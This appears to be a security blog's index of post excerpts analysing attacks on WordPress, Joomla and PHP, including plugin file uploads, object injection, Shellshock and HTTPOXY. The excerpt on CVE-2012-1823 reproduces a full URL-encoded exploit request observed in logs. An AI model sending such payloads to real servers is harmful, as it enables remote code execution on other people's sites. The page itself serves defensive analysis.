Content Injection Vulnerability in WordPress 4.7.x API

A new dangerous content injection vulnerability has been discovered in the WordPress CMS, it is a zero-day content injection flaw in the WordPress REST API. A fix for this was silently included on version 4.7.2 along with other less severe issues. Introduction This privilege escalation vulnerability affects the WordPress REST API that was recently added … Read more

common.php (Object Injection Vulnerability in Backup & Restore Dropbox)

WordPress plugin Backup & Restore Dropbox have PHP Object Injection Vulnerability. It’s allow remote download malware to the server. This vulnerability founded by pluginvulnerabilities.com and published it. We found that vulnerability try malware download common.php malware to server via FTP Protocol. Real Post Payload First file_get_contents download common.php malware and file_put_contents write it to server. … Read more

gzpdecode.php

WordPress Vulnerability in Cherry Plugin – Arbitrary File Upload The Vulnerability allow an attacker to upload all types of files without administrator login. /wp-content/plugins/cherry-plugin/admin/import-export/upload.php This is fixed latest version of Cherry Plugin, but all customers won’t update their website and files. Interesting comes heres, botnetwork search this old vulnerability and if found they upload malware … Read more

yiw_contact sendemail file upload vulnerability

Looking better POST payload, header looks normal request: In the below HTTP Post, there were 2 parameters that started with yiw. This indicates that the attacker is likely trying to explpoit the Beauty & Clean Theme File Upload WordPress Vulnerability which is literally as simple as posting your backdoor file to the contact field via … Read more

Joomla – Account Creation & Elevated Privileges

Introduction Joomla published version 3.6.4, an update to patch security issues: – [CVE-2016-8870] – Core – Account Creation (High Priority): attackers can exploit this vulnerability to create any account in a Joomla system regardless of whether its registration has been disabled. (affecting Joomla! 3.4.4 through 3.6.3) – [CVE-2016-8869] – Core – Elevated Privileges (High Priority): … Read more

Modules Simple Spotlight Upload

Simple spotlight is a jQuery image rotator with navigation. You can have up to 20 images with links. You can turn off the navigation and choose between 27 effects for transition. It also has 5 button styles and a shadow effect. (Read More) Description Uploaded files represent a significant risk to applications. The first step … Read more

Bot Network Scanners Activated

During analysis of our logs we noticed that an automated attack against PHP is going on, using a vulnerability in PHP. Attacker is trying to make use of CVE-2012-1823, this only applies if your PHP is used in CGI mode (mod_php is not vulnerable to this). POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E Decoding the URL gives: Using -d parameter … Read more

Bash Vulnerability

Bash Vulnerability is a family of security bugs in the widely used Unix Bash shell. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer … Read more

HTTPOXY Vulnerability

The HTTPOXY vulnerability which has been found recently is a vulnerability that affects applications that run in cgi or cgi-like environments. This means that the issue affects almost all web servers including Apache and Nginx and also most PHP applications. Even the mod_php mode on apache is affected. There is a common system environment variable … Read more